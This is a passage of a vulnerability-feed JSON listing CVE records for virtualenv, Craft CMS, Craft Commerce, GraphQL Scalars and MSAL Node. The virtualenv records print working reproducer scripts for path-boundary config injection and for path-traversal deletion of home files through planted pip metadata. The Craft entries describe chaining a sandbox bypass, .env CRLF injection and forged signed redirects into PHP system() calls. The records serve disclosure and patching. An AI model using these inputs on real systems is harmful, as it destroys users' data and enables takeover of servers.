exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113715","cveId":"CVE-2026-113715","aliases":["GHSA-qmx5-4p3x-wvqf"],"kind":"vulnerability","title":"virtualenv: Venv configuration readback can reinterpret path boundaries","summary":"The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nThe venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv's readback, not from the standard library's initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant S as stdlib venv\n participant V as virtualenv readback\n participant C as Final pyvenv.cfg\n participant P as Environment Python\n A->>S: path contains U+2028 and home = /attacker/chosen\n S->>C: write path inside command value\n V->>C: read with splitlines()\n V->>V: parse suffix as separate keys\n V->>C: rewrite home and include-system-site-packages\n P->>C: read injected keys on startup\n C-->>P: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker's input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\ndef pyvenv_cfg_lines(env):\n # split on \"\\n\" only, as the interpreter does\n return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\ndef sys_home(env):\n # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg\n probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0: # refusing such a destination is a valid fix\n print(\"virtualenv refused the destination\")\n print(\"OK\")\n raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n print(\" \" + ascii(line))\nprint(f\"CONTROL python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n print(\" \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacke\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:20:43.000Z","updatedAt":"2026-10-23T22:20:43.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-qmx5-4p3x-wvqf","asOf":"2026-10-23T22:20:43.000Z"},"epss":{"probability":0.00242,"percentile":0.15252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf","url":"https://github.com/advisories/GHSA-qmx5-4p3x-wvqf","type":"primary","publishedAt":"2026-10-23T22:20:43.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-qmx5-4p3x-wvqf, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113719","cveId":"CVE-2026-113719","aliases":["GHSA-hhxq-47xx-j5xx"],"kind":"vulnerability","title":"virtualenv: Seed replacement does not contain metadata deletion paths","summary":"The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A->>P: top_level.txt names ../../../../../Documents\n A->>P: RECORD names ../../../../../notes.txt\n V->>P: read pip-1.0.dist-info before reinstall\n P->>H: join entries without containment check\n V->>H: remove Documents and notes.txt\n V-->>A: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user's files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:19:15.000Z","updatedAt":"2026-10-23T22:19:16.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-hhxq-47xx-j5xx","asOf":"2026-10-23T22:19:16.000Z"},"epss":{"probability":0.00144,"percentile":0.03633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-hhxq-47xx-j5xx","url":"https://github.com/advisories/GHSA-hhxq-47xx-j5xx","type":"primary","publishedAt":"2026-10-23T22:19:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-hhxq-47xx-j5xx, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113719, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115938","cveId":"CVE-2026-115938","aliases":[],"kind":"vulnerability","title":"Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template.","summary":"Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists.\n\n\n\nThe vulnerable condition value is ultimately cast to an integer. That does not protect the secret: the template can return author ID 1 when a guessed key character is correct and an impossible ID otherwise. The JSON endpoint returns entries for the first case and an empty array for the second, forming a stable remote character oracle.\n\n\n\nAfter recovering GeneralConfig::securityKey, the same user can compute Craft’s generic HMAC wire format offline. Signed parameters such as redirect are then accepted and passed to unsandboxed View::renderObjectTemplate(), where Twig’s string-callable form can invoke native PHP callables. The regression proof uses the harmless substr() callback and observes abcdef becoming cdef; it does not execute an OS command.","detail":"Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists.\n\n\n\nThe vulnerable condition value is ultimately cast to an integer. That does not protect the secret: the template can return author ID 1 when a guessed key character is correct and an impossible ID otherwise. The JSON endpoint returns entries for the first case and an empty array for the second, forming a stable remote character oracle.\n\n\n\nAfter recovering GeneralConfig::securityKey, the same user can compute Craft’s generic HMAC wire format offline. Signed parameters such as redirect are then accepted and passed to unsandboxed View::renderObjectTemplate(), where Twig’s string-callable form can invoke native PHP callables. The regression proof uses the harmless substr() callback and observes abcdef becoming cdef; it does not execute an OS command.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T22:16:59.597Z","updatedAt":"2026-10-23T22:16:59.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115938","asOf":"2026-10-23T22:16:59.597Z"},"epss":{"probability":0.00369,"percentile":0.30516,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115938","type":"primary","publishedAt":"2026-10-23T22:16:59.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115937","cveId":"CVE-2026-115937","aliases":[],"kind":"vulnerability","title":"The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:\n\n  *  commerceTransactionHash — selects which...","summary":"The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:\n\n  *  commerceTransactionHash — selects which Craft Commerce transaction is completed\n  *  id — selects which Mollie payment is queried for its status\n\n\n\n\nAn unauthenticated attacker holding any paid Mollie payment ID from the merchant’s account can pair it with any transaction hash.\n\n\n\nCommerce queries Mollie, sees status: paid, and marks the target transaction successful for that transaction’s full\namount, regardless of how much was actually paid.","detail":"The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:\n\n  *  commerceTransactionHash — selects which Craft Commerce transaction is completed\n  *  id — selects which Mollie payment is queried for its status\n\n\n\n\nAn unauthenticated attacker holding any paid Mollie payment ID from the merchant’s account can pair it with any transaction hash.\n\n\n\nCommerce queries Mollie, sees status: paid, and marks the target transaction successful for that transaction’s full\namount, regardless of how much was actually paid.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T22:16:59.453Z","updatedAt":"2026-10-23T22:16:59.453Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115937","asOf":"2026-10-23T22:16:59.453Z"},"epss":{"probability":0.00166,"percentile":0.05823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115937","type":"primary","publishedAt":"2026-10-23T22:16:59.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115935","cveId":"CVE-2026-115935","aliases":[],"kind":"vulnerability","title":"The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user.","summary":"The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user.\n\n\n\nA non-admin user with only accessCp can place newline characters in X-Craft-Plugin-Licenses. Craft passes this value to its .env writer without removing the newlines.\n\n\n\nThis lets the user insert a new attacker-known CRAFT_SECURITY_KEY into .env. After Craft loads that key, the user can forge a signed login redirect containing a Twig system() callback.\n\n\n\nThis is different from the previous report. That report reads the existing key through a Twig sandbox bypass. This report replaces the key through fake API headers and CRLF injection. Fixing either source does not fix the other.","detail":"The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user.\n\n\n\nA non-admin user with only accessCp can place newline characters in X-Craft-Plugin-Licenses. Craft passes this value to its .env writer without removing the newlines.\n\n\n\nThis lets the user insert a new attacker-known CRAFT_SECURITY_KEY into .env. After Craft loads that key, the user can forge a signed login redirect containing a Twig system() callback.\n\n\n\nThis is different from the previous report. That report reads the existing key through a Twig sandbox bypass. This report replaces the key through fake API headers and CRLF injection. Fixing either source does not fix the other.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T22:16:59.290Z","updatedAt":"2026-10-23T22:16:59.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115935","asOf":"2026-10-23T22:16:59.290Z"},"epss":{"probability":0.00369,"percentile":0.30516,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115935","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115935","type":"primary","publishedAt":"2026-10-23T22:16:59.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115887","cveId":"CVE-2026-115887","aliases":[],"kind":"vulnerability","title":"GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas.","summary":"GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas. From 1.24.1 until 2.0.1, GraphQLPhoneNumber in src/scalars/PhoneNumber.ts uses ambiguous nested digit quantifiers that backtrack exponentially when a PhoneNumber value contains a run of digits followed by a character that makes the match fail. GraphQL evaluates parseLiteral during document validation and parseValue during variable coercion before resolver authentication or authorization, so a small unauthenticated request can block the Node.js event loop and stall the server process. serialize is also affected when unvalidated stored values are returned through the scalar. This issue is fixed in version 2.0.1.","detail":"GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas. From 1.24.1 until 2.0.1, GraphQLPhoneNumber in src/scalars/PhoneNumber.ts uses ambiguous nested digit quantifiers that backtrack exponentially when a PhoneNumber value contains a run of digits followed by a character that makes the match fail. GraphQL evaluates parseLiteral during document validation and parseValue during variable coercion before resolver authentication or authorization, so a small unauthenticated request can block the Node.js event loop and stall the server process. serialize is also affected when unvalidated stored values are returned through the scalar. This issue is fixed in version 2.0.1.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T22:16:58.253Z","updatedAt":"2026-10-23T22:16:58.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115887","asOf":"2026-10-23T22:16:58.253Z"},"epss":{"probability":0.00408,"percentile":0.34776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115887&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115887","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115887","type":"primary","publishedAt":"2026-10-23T22:16:58.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115887&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115887, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109461","cveId":"CVE-2026-109461","aliases":["GHSA-xcx6-jx8p-x3h5"],"kind":"vulnerability","title":"MSAL Node authorization code flow may disclose parameters to an attacker-controlled endpoint","summary":"Origin validation error in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to disclose information over a network. This affects the auth_code flow.\n\nVersion 7.1.0 and higher are patched.","detail":"### Impact\n\nOrigin validation error in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to disclose information over a network. This affects the auth_code flow.\n\n### Patches\n\nVersion 